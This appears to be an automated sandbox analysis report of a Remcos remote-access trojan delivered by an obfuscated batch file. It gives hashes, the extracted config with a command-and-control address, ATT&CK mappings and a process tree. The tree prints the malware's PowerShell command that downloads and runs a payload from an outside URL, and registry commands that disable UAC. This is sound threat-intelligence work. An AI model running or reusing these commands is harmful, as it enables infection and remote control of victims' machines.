remcos | 137771c08a3b7e830d500119028bcd379f07a1f9f59f3dd6661790c40f941524

Analysis

max time kernel
94s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-11-2024 14:22

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General

Target

New Text Document_obf.bat
Size

1KB
MD5

afe542deaafa2826040b1aafd7ce94bf
SHA1

1b34eea5ba992877fbba707f6b6320b6974b245c
SHA256

137771c08a3b7e830d500119028bcd379f07a1f9f59f3dd6661790c40f941524
SHA512

c6df2a12264e9f9ffea5e080beb9874a590a7286f43f901096b89952df534082094052ff7b79294928695af3cea1eb433a616e686e85d922e96fe649db483ff2

Score

10^/10

remcos remotehost discovery evasion execution rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

194.59.31.143:4444

Attributes

audio_folder
xboxGameBar
audio_path
%SystemDrive%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
ploi.exe
copy_folder
koi
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
false
install_path
%SystemDrive%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ZU01ZO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1400	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1400	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3628	nostart.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3628 set thread context of 5008	3628	nostart.exe	95
PID 5008 set thread context of 848	5008	iexplore.exe	98

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iexplore.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nostart.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
212	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	iexplore.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4960	reg.exe
2268	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1400	powershell.exe
1400	powershell.exe
3628	nostart.exe
3628	nostart.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
3628	nostart.exe
5008	iexplore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1400	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 232 wrote to memory of 212	232	cmd.exe	84
PID 232 wrote to memory of 212	232	cmd.exe	84
PID 232 wrote to memory of 1400	232	cmd.exe	85
PID 232 wrote to memory of 1400	232	cmd.exe	85
PID 232 wrote to memory of 3628	232	cmd.exe	91
PID 232 wrote to memory of 3628	232	cmd.exe	91
PID 232 wrote to memory of 3628	232	cmd.exe	91
PID 3628 wrote to memory of 4300	3628	nostart.exe	93
PID 3628 wrote to memory of 4300	3628	nostart.exe	93
PID 3628 wrote to memory of 4300	3628	nostart.exe	93
PID 3628 wrote to memory of 5008	3628	nostart.exe	95
PID 3628 wrote to memory of 5008	3628	nostart.exe	95
PID 3628 wrote to memory of 5008	3628	nostart.exe	95
PID 3628 wrote to memory of 5008	3628	nostart.exe	95
PID 5008 wrote to memory of 2008	5008	iexplore.exe	96
PID 5008 wrote to memory of 2008	5008	iexplore.exe	96
PID 5008 wrote to memory of 2008	5008	iexplore.exe	96
PID 4300 wrote to memory of 2268	4300	cmd.exe	97
PID 4300 wrote to memory of 2268	4300	cmd.exe	97
PID 4300 wrote to memory of 2268	4300	cmd.exe	97
PID 5008 wrote to memory of 848	5008	iexplore.exe	98
PID 5008 wrote to memory of 848	5008	iexplore.exe	98
PID 5008 wrote to memory of 848	5008	iexplore.exe	98
PID 5008 wrote to memory of 848	5008	iexplore.exe	98
PID 2008 wrote to memory of 4960	2008	cmd.exe	100
PID 2008 wrote to memory of 4960	2008	cmd.exe	100
PID 2008 wrote to memory of 4960	2008	cmd.exe	100
PID 5008 wrote to memory of 2320	5008	iexplore.exe	109
PID 5008 wrote to memory of 2320	5008	iexplore.exe	109
PID 5008 wrote to memory of 2320	5008	iexplore.exe	109

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New Text Document_obf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:232
- C:\Windows\system32\timeout.exe
  timeout /t 2 REM Wait for 2 seconds to simulate processing
  2⤵
  - Delays execution with timeout.exe
  PID:212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { Invoke-WebRequest -Uri 'https://209a4381-e3eb-466a-9efc-fca8d71e6314-00-2bl68nwmi4jw4.kirk.replit.dev/nostart.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\nostart.exe' } catch { Write-Host 'Failed to download file: $_'; exit 1 }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1400
- C:\Users\Admin\AppData\Local\Temp\nostart.exe
  "C:\Users\Admin\AppData\Local\Temp\nostart.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2268
- - \??\c:\program files (x86)\internet explorer\iexplore.exe
    "c:\program files (x86)\internet explorer\iexplore.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:5008
  - - C:\Windows\SysWOW64\cmd.exe
      /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2008
    - - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        UAC bypass
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4960
  - - C:\Windows\SysWOW64\svchost.exe
      svchost.exe
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\gojzjmcrodwrbk.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsrizak5.iu2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gojzjmcrodwrbk.vbs

Filesize
500B

MD5
dcaafbad4690ac10db87cec1cb018d53

SHA1
f334c85f79b604ae2ca40f43c74061588cfbf3ad

SHA256
412f6741f468525abc7489e66960c4494b85023e6019b1b15ab81e1690acc093

SHA512
fd892bf3f6140eb8df1053f97fa0ae829e322751dc1745bcfa7dab2a4f12f7bd486b0b1ed4cb939fc50b01e2c4df395759b71680c3c9f1ce9539725928ab684c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nostart.exe

Filesize
481KB

MD5
3a57301d5b27cf1ef1f634af4950f593

SHA1
fd21a65c2272ef3bb05521994022e56ab017b494

SHA256
8df3bcdf64bbc3752bcdc19b64fc50aaff8333c78f470e52a96001c7a7529318

SHA512
d0392099fcbb5c5e50732213d666b96b5e17c7c50ddfecad35b7930111d08c3d39d067bd9774fb7a430db68f8c84d51e863ee4b39f274329d62918610093b80c

Download Submit
memory/848-29-0x0000000000ED0000-0x0000000000F4F000-memory.dmp

Filesize
508KB

Download
memory/848-28-0x0000000000ED0000-0x0000000000F4F000-memory.dmp

Filesize
508KB

Download
memory/1400-1-0x0000025129E20000-0x0000025129E42000-memory.dmp

Filesize
136KB

Download
memory/1400-11-0x00007FFDB5480000-0x00007FFDB5F41000-memory.dmp

Filesize
10.8MB

Download
memory/1400-12-0x00007FFDB5480000-0x00007FFDB5F41000-memory.dmp

Filesize
10.8MB

Download
memory/1400-16-0x00007FFDB5480000-0x00007FFDB5F41000-memory.dmp

Filesize
10.8MB

Download
memory/1400-0-0x00007FFDB5483000-0x00007FFDB5485000-memory.dmp

Filesize
8KB

Download
memory/5008-21-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-36-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-26-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-22-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-27-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-30-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-31-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-32-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-35-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-23-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-37-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-38-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-39-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-40-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-41-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-42-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-43-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-44-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-49-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download
memory/5008-20-0x0000000000D00000-0x0000000000D7F000-memory.dmp

Filesize
508KB

Download